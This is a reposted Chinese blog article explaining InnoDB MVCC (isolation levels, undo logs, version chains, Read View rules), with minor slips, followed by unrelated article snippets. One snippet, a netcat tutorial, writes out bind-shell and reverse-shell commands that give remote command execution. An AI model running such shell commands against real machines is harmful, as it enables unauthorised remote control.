MVCC-数据库

参考地址:看一遍就理解:MVCC原理详解 - 掘金 (juejin.cn)

 

1. 相关数据库知识点回顾

1.1 什么是数据库事务,为什么要有事务

事务,由一个有限的数据库操作序列构成,这些操作要么全部执行,要么全部不执行,是一个不可分割的工作单位。

假如A转账给B 100 元,先从A的账户里扣除 100 元,再在 B 的账户上加上 100 元。如果扣完A的100元后,还没来得及给B加上,银行系统异常了,最后导致A的余额减少了,B的余额却没有增加。所以就需要事务,将A的钱回滚回去,就是这么简单。

为什么要有事务呢? 就是为了保证数据的最终一致性。

1.2 事务包括哪几个特性?

事务四个典型特性,即ACID,原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)、持久性(Durability)。

  • 原子性: 事务作为一个整体被执行,包含在其中的对数据库的操作要么全部都执行,要么都不执行。
  • 一致性: 指在事务开始之前和事务结束以后,数据不会被破坏,假如A账户给B账户转10块钱,不管成功与否,A和B的总金额是不变的。
  • 隔离性: 多个事务并发访问时,事务之间是相互隔离的,一个事务不应该被其他事务干扰,多个并发事务之间要相互隔离。。
  • 持久性: 表示事务完成提交后,该事务对数据库所作的操作更改,将持久地保存在数据库之中。

1.3 事务并发存在的问题

事务并发会引起脏读、不可重复读、幻读问题。

1.3.1 脏读

如果一个事务读取到了另一个未提交事务修改过的数据,我们就称发生了脏读现象。

假设现在有两个事务A、B:

  • 假设现在A的余额是100,事务A正在准备查询Jay的余额
  • 事务B先扣减Jay的余额,扣了10,但是还没提交
  • 最后A读到的余额是90,即扣减后的余额

脏读

因为事务A读取到事务B未提交的数据,这就是脏读。

1.3.2 不可重复读

同一个事务内,前后多次读取,读取到的数据内容不一致

假设现在有两个事务A和B:

  • 事务A先查询Jay的余额,查到结果是100
  • 这时候事务B 对Jay的账户余额进行扣减,扣去10后,提交事务
  • 事务A再去查询Jay的账户余额发现变成了90

不可重复读

事务A被事务B干扰到了!在事务A范围内,两个相同的查询,读取同一条记录,却返回了不同的数据,这就是不可重复读

1.3.3 幻读

如果一个事务先根据某些搜索条件查询出一些记录,在该事务未提交时,另一个事务写入了一些符合那些搜索条件的记录(如insert、delete、update),就意味着发生了幻读

假设现在有两个事务A、B:

  • 事务A先查询id大于2的账户记录,得到记录id=2和id=3的两条记录
  • 这时候,事务B开启,插入一条id=4的记录,并且提交了
  • 事务A再去执行相同的查询,却得到了id=2,3,4的3条记录了。

幻读

事务A查询一个范围的结果集,另一个并发事务B往这个范围中插入新的数据,并提交事务,然后事务A再次查询相同的范围,两次读取到的结果集却不一样了,这就是幻读。

1.4 四大隔离级别

为了解决并发事务存在的脏读、不可重复读、幻读等问题,数据库大叔设计了四种隔离级别。分别是读未提交,读已提交,可重复读,串行化(Serializable)

1.4.1 读未提交

读未提交隔离级别,只限制了两个数据不能同时修改,但是修改数据的时候,即使事务未提交,都是可以被别的事务读取到的,这级别的事务隔离有脏读、重复读、幻读的问题;

1.4.2 读已提交

读已提交隔离级别,当前事务只能读取到其他事务提交的数据,所以这种事务的隔离级别解决了脏读问题,但还是会存在重复读、幻读问题;

1.4 3 可重复读

可重复读隔离级别,限制了读取数据的时候,不可以进行修改,所以解决了重复读的问题,但是读取范围数据的时候,是可以插入数据,所以还会存在幻读问题;

1.4.4 串行化

事务最高的隔离级别,在该级别下,所有事务都是进行串行化顺序执行的。可以避免脏读、不可重复读与幻读所有并发问题。但是这种事务隔离级别下,事务执行很耗性能。

1.4.5 四大隔离级别,都会存在哪些并发问题呢

隔离级别脏读不可重复读幻读
读未提交
读已提交 ×
可重复读 × ×
串行化 × × ×

1.5 数据库是如何保证事务的隔离性的呢?

数据库是通过加锁,来实现事务的隔离性的。这就好像,如果你想一个人静静,不被别人打扰,你就可以在房门上加上一把锁。

加锁确实好使,可以保证隔离性。比如串行化隔离级别就是加锁实现的。但是频繁的加锁,导致读数据时,没办法修改,修改数据时,没办法读取,大大降低了数据库性能

那么,如何解决加锁后的性能问题的?

答案就是,MVCC多版本并发控制!它实现读取数据不用加锁,可以让读取数据同时修改。修改数据时同时可读取。

2. 什么是 MVCC?

MVCC,即Multi-Version Concurrency Control (多版本并发控制)。它是一种并发控制的方法,一般在数据库管理系统中,实现对数据库的并发访问,在编程语言中实现事务内存。

通俗的讲,数据库中同时存在多个版本的数据,并不是整个数据库的多个版本,而是某一条记录的多个版本同时存在,在某个事务对其进行操作的时候,需要查看这一条记录的隐藏列事务版本id,比对事务id并根据事物隔离级别去判断读取哪个版本的数据。

数据库隔离级别读已提交、可重复读 都是基于MVCC实现的,相对于加锁简单粗暴的方式,它用更好的方式去处理读写冲突,能有效提高数据库并发性能。

3. MVCC实现的关键知识点

3.1 事务版本号

事务每次开启前,都会从数据库获得一个自增长的事务ID,可以从事务ID判断事务的执行先后顺序。这就是事务版本号。

3.2 隐式字段

对于InnoDB存储引擎,每一行记录都有两个隐藏列trx_idroll_pointer,如果表中没有主键和非NULL唯一键时,则还会有第三个隐藏的主键列row_id

列名是否必须描述
row_id 单调递增的行ID,不是必需的,占用6个字节。
trx_id 记录操作该数据事务的事务ID
roll_pointer 这个隐藏列就相当于一个指针,指向回滚段的undo日志

3.3 undo log

undo log,回滚日志,用于记录数据被修改前的信息。在表记录修改之前,会先把数据拷贝到undo log里,如果事务回滚,即可以通过undo log来还原数据。

可以这样认为,当delete一条记录时,undo log 中会记录一条对应的insert记录,当update一条记录时,它记录一条对应相反的update记录。

undo log有什么用途呢?

  1. 事务回滚时,保证原子性和一致性。
  2. 用于MVCC快照读

3.4 版本链

多个事务并行操作某一行数据时,不同事务对该行数据的修改会产生多个版本,然后通过回滚指针(roll_pointer),连成一个链表,这个链表就称为版本链。如下:

版本链

其实,通过版本链,我们就可以看出事务版本号、表格隐藏的列和undo log它们之间的关系。我们再来小分析一下。

  1. 假设现在有一张core_user表,表里面有一条数据,id为1,名字为孙权:

  1. 现在开启一个事务A: 对core_user表执行update core_user set name ="曹操" where id=1,会进行如下流程操作
  • 首先获得一个事务ID=100
  • 把core_user表修改前的数据,拷贝到undo log
  • 修改core_user表中,id=1的数据,名字改为曹操
  • 把修改后的数据事务Id=101改成当前事务版本号,并把roll_pointer指向undo log数据地址。

3.5 快照读和当前读

快照读: 读取的是记录数据的可见版本(有旧的版本)。不加锁,普通的select语句都是快照读,如:

  csharp 复制代码
select * from core_user where id > 2;

当前读:读取的是记录数据的最新版本,显式加锁的都是当前读

  csharp 复制代码
select * from core_user where id > 2 for update;
select * from account where id>2 lock in share mode;

3.6 Read View

  • Read View是什么呢? 它就是事务执行SQL语句时,产生的读视图。实际上在innodb中,每个SQL语句执行前都会得到一个Read View。
  • Read View有什么用呢? 它主要是用来做可见性判断的,即判断当前事务可见哪个版本的数据~

Read View是如何保证可见性判断的呢?我们先看看Read view 的几个重要属性

  • m_ids:当前系统中那些活跃(未提交)的读写事务ID, 它数据结构为一个List。
  • min_limit_id:表示在生成ReadView时,当前系统中活跃的读写事务中最小的事务id,即m_ids中的最小值。
  • max_limit_id:表示生成ReadView时,系统中应该分配给下一个事务的id值。
  • creator_trx_id: 创建当前read view的事务ID

Read view 匹配条件规则如下:

  1. 如果数据事务ID trx_id < min_limit_id,表明生成该版本的事务在生成Read View前,已经提交(因为事务ID是递增的),所以该版本可以被当前事务访问。
  2. 如果trx_id>= max_limit_id,表明生成该版本的事务在生成ReadView后才生成,所以该版本不可以被当前事务访问。
  3. 如果 min_limit_id =<trx_id< max_limit_id,需腰分3种情况讨论
  • (1).如果m_ids包含trx_id,则代表Read View生成时刻,这个事务还未提交,但是如果数据的trx_id等于creator_trx_id的话,表明数据是自己生成的,因此是可见的。
  • (2)如果m_ids包含trx_id,并且trx_id不等于creator_trx_id,则Read View生成时,事务未提交,并且不是自己生产的,所以当前事务也是看不见的;
  • (3).如果m_ids不包含trx_id,则说明你这个事务在Read View生成之前就已经提交了,修改的结果,当前事务是能看见的。

4. MVCC实现原理分析

4.1 查询一条记录,基于MVCC,是怎样的流程

  1. 获取事务自己的版本号,即事务ID
  2. 获取Read View
  3. 查询得到的数据,然后Read View中的事务版本号进行比较。
  4. 如果不符合Read View的可见性规则, 即就需要Undo log中历史快照;
  5. 最后返回符合规则的数据

InnoDB 实现MVCC,是通过 Read View+ Undo Log 实现的,Undo Log 保存了历史快照,Read View可见性规则帮助判断当前版本的数据是否可见。

4.2 读已提交(RC)隔离级别,存在不可重复读问题的分析历程

  1. 创建core_user表,插入一条初始化数据,如下:

  1. 隔离级别设置为读已提交(RC),事务A和事务B同时对core_user表进行查询和修改操作。
  ini 复制代码
事务A: select * fom core_user where id=1
事务B: update core_user set name =”曹操”

执行流程如下:

最后事务A查询到的结果是,name=曹操的记录,我们基于MVCC,来分析一下执行流程:

(1). A开启事务,首先得到一个事务ID为100

(2).B开启事务,得到事务ID为101

(3).事务A生成一个Read View,read view对应的值如下

变量
m_ids 100,101
max_limit_id 102
min_limit_id 100
creator_trx_id 100

然后回到版本链:开始从版本链中挑选可见的记录:

版本链

由图可以看出,最新版本的列name的内容是孙权,该版本的trx_id值为100。开始执行read view可见性规则校验:

  ini 复制代码
min_limit_id(100)=<trx_id(100)<102;
creator_trx_id = trx_id =100;

由此可得,trx_id=100的这个记录,当前事务是可见的。所以查到是name为孙权的记录。

(4). 事务B进行修改操作,把名字改为曹操。把原数据拷贝到undo log,然后对数据进行修改,标记事务ID和上一个数据版本在undo log的地址。

(5) 提交事务

(6) 事务A再次执行查询操作,新生成一个Read View,Read View对应的值如下

变量
m_ids 100
max_limit_id 102
min_limit_id 100
creator_trx_id 100

然后再次回到版本链:从版本链中挑选可见的记录:

从图可得,最新版本的列name的内容是曹操,该版本的trx_id值为101。开始执行Read View可见性规则校验:

  ini 复制代码
min_limit_id(100)=<trx_id(101)<max_limit_id(102);
但是,trx_id=101,不属于m_ids集合

因此,trx_id=101这个记录,对于当前事务是可见的。所以SQL查询到的是name为曹操的记录。

综上所述,在读已提交(RC)隔离级别下,同一个事务里,两个相同的查询,读取同一条记录(id=1),却返回了不同的数据(第一次查出来是孙权,第二次查出来是曹操那条记录),因此RC隔离级别,存在不可重复读并发问题。

4.3 可重复读(RR)隔离级别,解决不可重复读问题的分析

在RR隔离级别下,是如何解决不可重复读问题的呢?我们一起再来看下,

还是4.2小节那个流程,还是这个事务A和事务B,如下:

4.3.1 不同隔离级别下,Read view的工作方式不同

实际上,各种事务隔离级别下的Read view工作方式,是不一样的,RR可以解决不可重复读问题,就是跟Read view工作方式有关

  • 在读已提交(RC)隔离级别下,同一个事务里面,每一次查询都会产生一个新的Read View副本,这样就可能造成同一个事务里前后读取数据可能不一致的问题(不可重复读并发问题)。
begin 
select * from core_user where id =1 生成一个Read View
/ /
/ /
select * from core_user where id =1 生成一个Read View
  • 在可重复读(RR)隔离级别下,一个事务里只会获取一次read view,都是副本共用的,从而保证每次查询的数据都是一样的。
begin 
select * from core_user where id =1 生成一个Read View
/  
/  
select * from core_user where id =1 共用一个Read View副本

4.3.2 实例分析

我们穿越下,回到刚4.2的例子,然后执行第2个查询的时候:

事务A再次执行查询操作,复用老的Read View副本,Read View对应的值如下

变量
m_ids 100,101
max_limit_id 102
min_limit_id 100
creator_trx_id 100

然后再次回到版本链:从版本链中挑选可见的记录:

从图可得,最新版本的列name的内容是曹操,该版本的trx_id值为101。开始执行read view可见性规则校验:

  scss 复制代码
min_limit_id(100)=<trx_id(101)<max_limit_id(102);
因为m_ids{100,101}包含trx_id(101),
并且creator_trx_id (100) 不等于trx_id(101)

所以,trx_id=101这个记录,对于当前事务是不可见的。这时候呢,版本链roll_pointer跳到下一个版本,trx_id=100这个记录,再次校验是否可见:

  scss 复制代码
min_limit_id(100)=<trx_id(100)< max_limit_id(102);
因为m_ids{100,101}包含trx_id(100),
并且creator_trx_id (100) 等于trx_id(100)

所以,trx_id=100这个记录,对于当前事务是可见的。即在可重复读(RR)隔离级别下,复用老的Read View副本,解决了不可重复读的问题。


作者:捡田螺的小男孩
链接:http://juejin.cn/post/7016165148020703246
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
本文转载于网络 如有侵权请联系删除

相关文章

  • FKGE:合格的知识图谱嵌入已经学会保护隐私啦!

    本文介绍我们最近的一项被CIKM2021录用的工作《DifferentiallyPrivateFederatedKnowledgeGraphsEmbedding》:Paper:https://arxiv.org/abs/2105.07615摘要知识图谱嵌入在知识表示、推理和数据挖掘等应用中起着十分重要的作用。然而,对于多个跨领域的知识图谱来说,目前最先进的嵌入模型无法在保护数据交换过程中产生的隐私的同时,充分利用来自不同知识领域的数据和信息。并且集中式的嵌入模型无法拓展到广泛的现实世界的知识图谱中。因此,我们提出了一种新颖的去中心化的可拓展学习框架——FederatedKnowledgeGraphsEmbedding(FKGE),实现了在保护隐私的同时以异步和对等的方式学习不同知识图谱的嵌入。FKGE利用成对的知识图谱间的对抗生成将不同领域的相同实体和关系转换到临近嵌入空间。为了保护训练数据的隐私,FKGE进一步实现了隐私保护对抗模型(PPAT),来保证原始数据不被泄露。我们进行了大量的实验来评估11个知识图谱上的FKGE模型,三重分类和链路预测任务的性能提高了近17.85%和7.9%

  • Linux NC命令

    NCncat的使用教程安装ncatyuminstallnmap-ncat-y//centos sudoapt-get-yinstallnetcat-traditional//ubuntu复制监听入站连接服务器端开启入站监听nc-l8080复制客户端连接服务端ncip8080复制连接上后可以互相通讯类似这样利用NC扫描端口利用nc扫描目标1-100内的端口情况nc-z-v-n-w2ip1-100复制利用nc发送文件发送端执行nc-v-l8080<out.txt//文件名复制接收方执行nc-v-nip8080>in.txt//收过来的时候以这个文件名保存复制发送整个文件夹发送端执行tar-cvPf-~/out|nc-l8080复制客户端执行nc-nIP8080|tar-xvPf-复制利用nc正向shell连接目标机执行nc-lvvp8080-e/bin/bash复制控制端执行ncIP8080复制效果如下 在控制端输入的命令都会在目标机器上执行反向shell链接目标机器执行nc-e/bin/bash控制端的IP8080复制控制端执行nc-lvvp8080复制

  • 漫画版:什么是深度学习?

    茉莉蜜茶only是阿里的前端程序媛,旨在做一些有意义的事情,Momomo[1]是她的掘金号,专栏文章质量也很高,感兴趣的童鞋关注下哦~前言本文来自YouTube上的一段5分钟的漫画版视频[2],有趣且简单的介绍了什么是深度学习,包括深度学习的应用、深度学习与机器学习和人工智能的不同之处、什么是神经网络以及如何训练它们来识别手写的数字。最后介绍了深度学习的一些流行应用。什么是深度学习?Google如何在短短几秒钟内将整个网页翻译成不同的语言,或者你的手机图库如何根据它们的位置对图片进行分组?这些都是深度学习的结果。但什么是深度学习呢?深度学习是机器学习的一个子集,而机器学习又是人工智能的一个子集。人工智能是一种使机器能够模仿人类行为的技术,机器学习是一种通过使用数据训练的算法来实现AI的技术,最后深度学习是一种受人脑结构(生物神经网络)启发的机器学习。这种结构在深度学习领域称为人工神经网络。让我们来更好地理解深度学习,以及它与机器学习的区别。假设我们有一个可以区分西红柿和樱桃的机器,如果使用机器学习完成,则必须告诉机器可以区分两者的特征。这些特征可能是大小(Size)和茎的类别(Type

  • 使用 Xamarin 开发 iOS 应用中需要注意的若干个问题

    本文收集整理使用Xamarin开发iOS应用时可能会遇到的各种问题。需要注册AppleDeveloperPortal不管你用什么开发iOS应用,成为一个Apple的开发者是必要的。访问:https://developer.apple.com/register/登录同意协议完成!虽然简单,但是如果没有成为开发者,那么你在所有工具上都无法成功部署应用。CouldnotfindanyavailableprovisioningprofilesforiOS这个错误可能出现在你是用VisualStudio或者VisualStudioforMac部署真机调试的时候出现。只有XCode才能生成provisioningprofiles!所以,如果你希望只使用VisualStudio或者VisualStudioForMac或者Xamarin来部署是不可能的。如果出现了此错误,你需要使用XCode提前生成一份provisioningprofiles然后在VisualStudio中使用这份profiles。方法:在XCode中新建一个项目;填写BundleIdentifier:注意:必须写成跟你待会儿用Vis

  • 云计算、边缘计算和雾计算的实际应用

    自从“云计算”与其分支“边缘计算”和“雾计算”推出以来,这三者之间的差异甚至让许多专业人士都感到困惑。但是当涉及到一般消费者、IT开发人员、数据分析师和企业网络时,选择一个或多个这样的计算平台可以获得明显的优势。这些计算将为不同的环境和场合提供不同的功能,即使它们彼此相辅相成。以下是对这三个层次的计算类別的概述,以及每个计算层次的实际应用情况。如上所述,术语“云”“边缘”和“雾”代表三层计算:▲云计算层:工业大数据、业务逻辑和分析数据库以及数据存储。▲雾计算层:本地网络资产、微型数据中心。▲边缘计算层:工业PC、特定于流程的应用以及自治设备上的实时数据处理。将它们视为层,在视觉上是有帮助的,因为每一层都建立在前一层的基础功能之上,并且每一层都提供更接近数据源的智能分析。那么来源来自哪里?在制造业中,它可能是一个带有网络连接的生产设备的车间和工厂。在IT环境中,可操作数据的来源可能包括企业路由器和员工终端。雾计算的实际应用那么什么是雾计算呢?雾计算可以有效地分散计算和分析能力。它位于本地设备和移动设备之间,换句话说,它们是具有有限的处理能力和存储设备,并提供了一种筛选来自物联网组件信息流

  • 云蚁商圈小程序解决方案

    1、什么是商圈小程序?商圈小程序,顾名思义,就是类似于实体商圈,它是一个集零售、餐饮、美容美发、健身、亲子、娱乐等不同行业于一体的线上商圈的小程序。2、为什么要做商圈小程序?我们似乎可以从以下市场痛点里受到启发: 1、商圈各个门店的客源流量下沉,而微信拥有源源不断的流量;2、普通门店小程序功能太过简单,不能满足门店的真实需求;3、三四线及以下城市的同城信息闭塞,靠谱好用的同城信息平台太少。对于上述问题,市场上似乎并没有太好的解决方案,因此,单麦小程序根据以上市场痛点,以及客户的真实需求,研发出了特别适用于综合商圈、特色街区的单麦商圈小程序。 3、商圈运营者和商户能获得哪些好处?商圈的运营者可以收取商户的入驻加盟费,从而对商圈小程序进行统一管理和运营。 其次,入驻的每家商户都可拥有自己独立的小程序码,用来为自己的商户做独立推广,同时也可以独立管理店铺商品和订单。 最后,商圈运营者可以利用小程序做营销活动来积攒人气,增加销量。 总之,一个商圈小程序在手,就可以带你解锁商圈附近有哪些店铺,以及具体的位置,帮助客户更好的了解该商圈。

  • 开发者,速度远比你以为的重要

    开发者,速度远比你以为的重要效率高的明显好处是——单位时间内,能完成更多工作。但这只是冰山一角,假如工作速度快,你就会倾向于低估做事的成本,因此乐于完成更多工作。 举个例子,假设你每写一篇博客都要花六个月。当周六你宅在家里无所事事时,可能也不会想开始写博客,因为觉得这件事做起来太漫长。 更糟的是,因为写博客的进度慢,就更不愿坚持。因为学习一件事最好的方法就是一次又一次重复,而这件事情时间周期太长了。 这也就是todolist通常完成这么慢的原因:我们会对其产生莫名的讨厌感。如果一直往里面添加拖着不做的事情,总有一天,todolist会被弃用。 我发现如果及时回复别人的邮件,他们就乐于发给我更多邮件。发送者总是渴望得到回复,这种渴望驱使他们写邮件。换句话说,是速度带来了更多邮件,因为他们心中对这种信息交换的成本低估了。他们知道自己所做的事,会得到回应,所以更愿意去做。 现在网络发达了,公认的一件事就是网站响应速度低会流失用户。反应迟钝的网页就像崩溃了一样,它会使用户受挫。或许就是因为,用户的行为没能即时得到回报。 Google速度远近闻名。因为他们知道,如果搜索响应快,你就会搜索更多。原

  • 腾讯云边缘计算机器绑定弹性公网IPapi接口

    1.接口描述接口请求域名:ecm.tencentcloudapi.com。 将弹性公网IP(简称EIP)绑定到实例或弹性网卡的指定内网IP上。将EIP绑定到实例(ECM)上,其本质是将EIP绑定到实例上主网卡的主内网IP上。将EIP绑定到指定网卡的内网IP上,内网IP已经绑定了EIP或普通公网IP,则反馈失败。必须先解绑该EIP,才能再绑定新的。只有状态为UNBIND的EIP才能够绑定内网IP。 默认接口请求频率限制:20次/秒。 APIExplorer提供了在线调用、签名验证、SDK代码生成和快速检索接口等能力。您可查看每次调用的请求内容和返回结果以及自动生成SDK调用示例。 2.输入参数以下请求参数列表仅列出了接口请求参数和部分公共参数,完整公共参数列表见公共请求参数。 参数名称 必选 类型 描述 Action 是 String 公共参数,本接口取值:AssociateAddress。 Version 是 String 公共参数,本接口取值:2019-07-19。 Region 否 String 公共参数,本接口不需要传递此参数。 Ecm

  • mongo 初探触发器

    前言 mongo作为出名的nosql数据库,随着版本的迭代,被越来越多的开发者所接受,DB-EnginesRanking-popularityrankingofdatabasemanagementsystems而我们今天来初探一下mongo的触发器功能,并编写一个DEMO来实现mongo指定表的数据变更记录存储 触发器与oplog 顾名思义,触发器就是注册事件通知到mongodb中,当指定的情况发生时,mongodb会自动触发开发者注册的代码,进行若干逻辑处理. mongo的触发器使用的是oplog的方式,oplog是mongo中为了实现集群中的数据同步出现的概念,与mysql类似,mongo的多节点之间的数据同步通过操作oplog同步来完成:ReplicaSetDataSynchronization—MongoDBManual 而触发器就注册在oplog的监听这里,实际上触发器监听的是oplog的释出节点,因此,需要明确的是,在触发器被触发时,这个变更的操作已经落地到了数据库中,而触发器事件并不会告知你之前的数据:Gettingthepreviousdatainadatabasetr

  • winrar压缩文件但是排除指定目录

    "C:\ProgramFiles\WinRAR\WinRAR.exe"a-r-x*\upload\-x*\aaa\-x*\b\bb\D:\my_db.rarD:\my_db   说明:把D:\my_db目录下的文件压缩为D:\my_db.rar,但是不压缩D:\my_db下的*\upload\、*\aaa\、*\b\bb\ 附全部命令: Winrar的命令行模式程序在安装目录下的rar.exe(打包压缩程序),unrar.exe(解压缩程序),以我安装的winrar5.3为例,帮助文档如下: ..\WinRAR\Rar.exe: RAR5.30beta2版权所有(C)1993-2015AlexanderRoshal 试用版本输入RAR-?以获得帮助 用法:rar<命令>-<参数1>-<参数N><压缩文件><文件...> <@列表文件...><解压路径\> <命令> a添加文件到压缩文件 c添加压缩文件注释 ch更改压缩文件参数 cw将压缩文件注释写入文件 d从压缩文件中删除文

  • nginx日志自动切割

    1.日志配置 Nginx日志分 access.log记录哪些用户,哪些页面以及用户浏览器,IP等访问信息; error.log记录服务器错误的日志 配置日志存储路径  location/{                 access_log         /usr/local/nginx/logs/access.log;                 error_log          /usr/local/nginx/logs/error.log;  &

  • CI框架源码阅读笔记2 一切的入口 index.php

    上一节(CI框架源码阅读笔记1-环境准备、基本术语和框架流程)中,我们提到了CI框架的基本流程,这里再次贴出流程图,以备参考: 作为CI框架的入口文件,源码阅读,自然由此开始。在源码阅读的过程中,我们并不会逐行进行解释,而只解释核心的功能和实现。 1.      设置应用程序环境 define('ENVIRONMENT','development'); 复制 这里的development可以是任何你喜欢的环境名称(比如dev,再如test),相对应的,你要在下面的switchcase代码块中,对设定的环境做相关的错误控制,否则,CI框架会认为你没有配置好相应的环境,从而退出进程并给出对应的错误信息: default:exit('Theapplicationenvironmentisnotsetcorrectly.'); 复制 为什么一开始就要配置ENVIRONMENT?这是因为,CI框架中很多组件都依赖于ENVIRONMENT的配置,我们看一下system中,引用ENVIRONMENT的地方: 可以看到,很多组件都依赖

  • DirectAdmin+阿里云免费SSL证书 面板里安装SSL

    阿里云免费签发的Symantec证书,有效期是一年。所以转而使用阿里云的免费SSL证书。配置过程中有点弯,归纳一下。 申请证书是比较顺利的,没有太多校验。 在DirectAdmin中,需要对已经签发的证书进行配置。这部分有个小阻力,就是不知道怎么填。 最终经过尝试是这样的: 首先进入DA的SSL管理界面,选择“粘贴预先生成证书和密钥”(Pasteapre-generatedcertificateandkey)。 在下面的文本区域中,需要粘贴的是私钥文件111.key和公钥文件public.pem。(111.key=从阿里云下载的证书文件中的随机数字.key文件) 随后“点击此处粘贴CA根证书”(ClickHeretopasteaCARootCertificate), 在文本区域粘贴证书链文件chain.pem,并勾选“使用CA证书”(UseaCACert)。

  • Java上传文件报错Expected MultipartHttpServletRequest: is a MultipartResolver configured?

    错误信息 org.springframework.web.util.NestedServletException:Requestprocessingfailed;nestedexceptionisorg.springframework.web.multipart.MultipartException:ExpectedMultipartHttpServletRequest:isaMultipartResolverconfigured? atorg.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:982) atorg.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) atjavax.servlet.http.HttpServlet.service(HttpServlet.java:637) atorg.springframework.web.servlet.Frame

  • CentOS7.0 使用root登录桌面

    新版的7.0很多资料没有,为了安全,linux是禁止root登录到桌面,但为了方便又想用root登录到桌面,在网上找了找,基本上都是这这一篇: http://shaoguangleo.blog.163.com/blog/static/227798320121022270901/ 但是在7.0中是没有“/etc/pam.d/gdm”这个文件的,也没有#authrequiredpam_succeed_if.souser!=rootquiet这一行可以修正 其实实现方法很简单, 1、编辑/etc/gdm/custom.conf,修改以下两行: AutomaticLoginEnable=true 这个修改为 true AutomaticLogin=root              这个修改为 root  2、登录到桌面时,不要直接点击用户名,而是选择“notlist",然后输入root,输入密码即可进入。

  • subplot(nrows,ncols.plot_number)

    subplot(nrows,ncols,plot_number)——将figure分成nrows*ncols的子图表示 nrows:子图的行数 ncols:子图的列数 plot_number:索引值,表示把图放在第plot_number个位置上 复制   

  • 记录:C#监视某个文件的打开记录

    首先,先说下为什么要搞这个: 1.首先,我的电脑里有5万左右的目录或文件,用于存放歌曲,数量众多。2.我不一定会用哪种软件听歌(不过也就是几种而已)。3.我想在听歌的时候,检测哪首首歌被打开,能获取到我正在放那首歌,用来记录播放顺序(播放器是随机播放的)。4.【实例】我用一款“Ihear"播放器,开始播放歌曲,列表内有五万首歌,真实存放地址目录级数不确定,不知道这首歌具体在哪个目录,当然总的目录是确定的。我运行了一款”GetSong"软件,开始监视Ihear播放器,一旦播放器开始获取本地的歌曲文件开始播放,GetSong软件就会获取到是哪个文件被Ihear播放器读取(包括音乐文件与歌词文件),当然文件的绝对路径是肯定要获取到的。 以上就是我第一次和 陈希章 发的一个消息,向他询问解决方案。 当然一开始,我是自己尝试过的,FileSystemWatcherLastAccess大家可以尝试搜索这两个关键字,这就是完成我上面描述的功能的解决方法。 当然,为了给别人使用,给程序加个操作注册表的功能,还是挺好用的。 当然,实现起来,并不是您想想的那么简单,如果真的直接就完

  • 5.哈希系列

    IndexLeetCode 简单罗列下c++stl里数据结构:vector,hash(unordered_set\map),queue,deque,priority_queue,stack,list 主要会用以上数据结构的成员函数有:empty(),count(),insert(),push(),push_back(),front(),top(),back(),push_front(),pop(),pop_back(),pop_front(),erase(),iterator C++STL 在刷题时,我们几乎一定会用到各种数据结构来辅助我们解决问题,因此我们必须熟悉各种数据结构的特点。C++STL提供的数据结构包括(实际底层细节可能因编译器而异): SequenceContainers:维持顺序的容器。 vector:动态数组,是我们最常使用的数据结构之一,用于O(1)的随机读取。因为大部分算法的时间复杂度都会大于O(n),因此我们经常新建vector来存储各种数据或中间变量。因为在尾部增删的复杂度是O(1),我们也可以把它当作stack来用。 list:双向链表,也可以当作

  • 【心得】Lattice后端使用经验小结(ECP5UM,DDR3,Diamond3.10,Reveal逻辑分析)

    【博客导航】 【导航】FPGA相关 背景 下边的内容,适合初次使用Lattice的、具备FPGA开发经验的同学。 1、初次使用,还真遇到不少的坑,Lattice的工具也有不少优缺点,通过总结,希望能缩短熟悉的时间。 2、具体问题,欢迎留言交流。 DDR3IP例化 LEF5UM器件,应用DDR3控制器IP。主要分几步:IP获取,安装,例化。 1、先在impl1目录下,右键,新建sbx文件,即ClarityDesigner,通过该文件,进行IP的例化管理。 2、打开sbx,在选项卡“LatticeIPServer”里点击IP联网获取IP列表。 3、选择“DDR3SDRAMController”,目前(18年12月)最新版本3.1,下载(格式exe)后安装到指定目录(如:C:\LatticeCore\ddr3_sdram_common_v3.1),这样可以在选项卡“LatticeIP”中看到“ddr3sdramcontroller3.1”。 4、打开ip,GUI界面如下,在本项目中,参考时钟(RefClock)来自单板晶振产生的100M,ddr的工作频率400M,双沿也就800M。M

  • 手机信息显示

    importsysinfo,appuifw,e32 defcn(x):returnx.decode("utf8") appuifw.app.body=t=appuifw.Text() t.focus=False appuifw.app.screen="full" t.add(cn("情景模式:")+sysinfo.active_profile()) t.add(cn("\n电量:")+unicode(sysinfo.battery())) t.add(cn("\n屏幕分辨率:")+unicode(sysinfo.display_pixels())) t.add(cn("\n剩余空间:\n")) i=0 drive=[u"C:",u"D:",u"E:"] whilei<len(drive): t.add(drive[i]+unicode(sysinfo.free_drivespace()[drive[i]]/1024)+u"kb\n") i+=1 t.add(cn("剩余运存:")+unicode(sysinfo.free_ram()/1024)+u"kb") t.add(cn(

  • 程序员必学之精华----软件工程

    一、软件工程的定义    软件工程学是一门指导软件开发和维护的工程学科,是为了经济地获得能够在实际机器上有效运行的可靠软件而建立和使用的一系列完善的工程化原则。它应用计算机科学、数学及管理科学等原理,借鉴传统工程的原则、方法来生产软件,以达到提高质量、降低成本的目的。 软件工程包括3个要素:方法、工具和过程 二、软件工程的目标    软件工程研究的目标是“以较少的投资获取高质量的软件”。    即从技术和管理上采取多项措施以后,组织实施软件工程项目的最终目的是保证项目成功,即达到以下几个主要目标:     •付出较低的开发成本     •达到预期的软件功能     •取得较好的软件性能     •使软件易于移植     •需要较低的维护费用    能按时完成开发工作,及

相关推荐

推荐阅读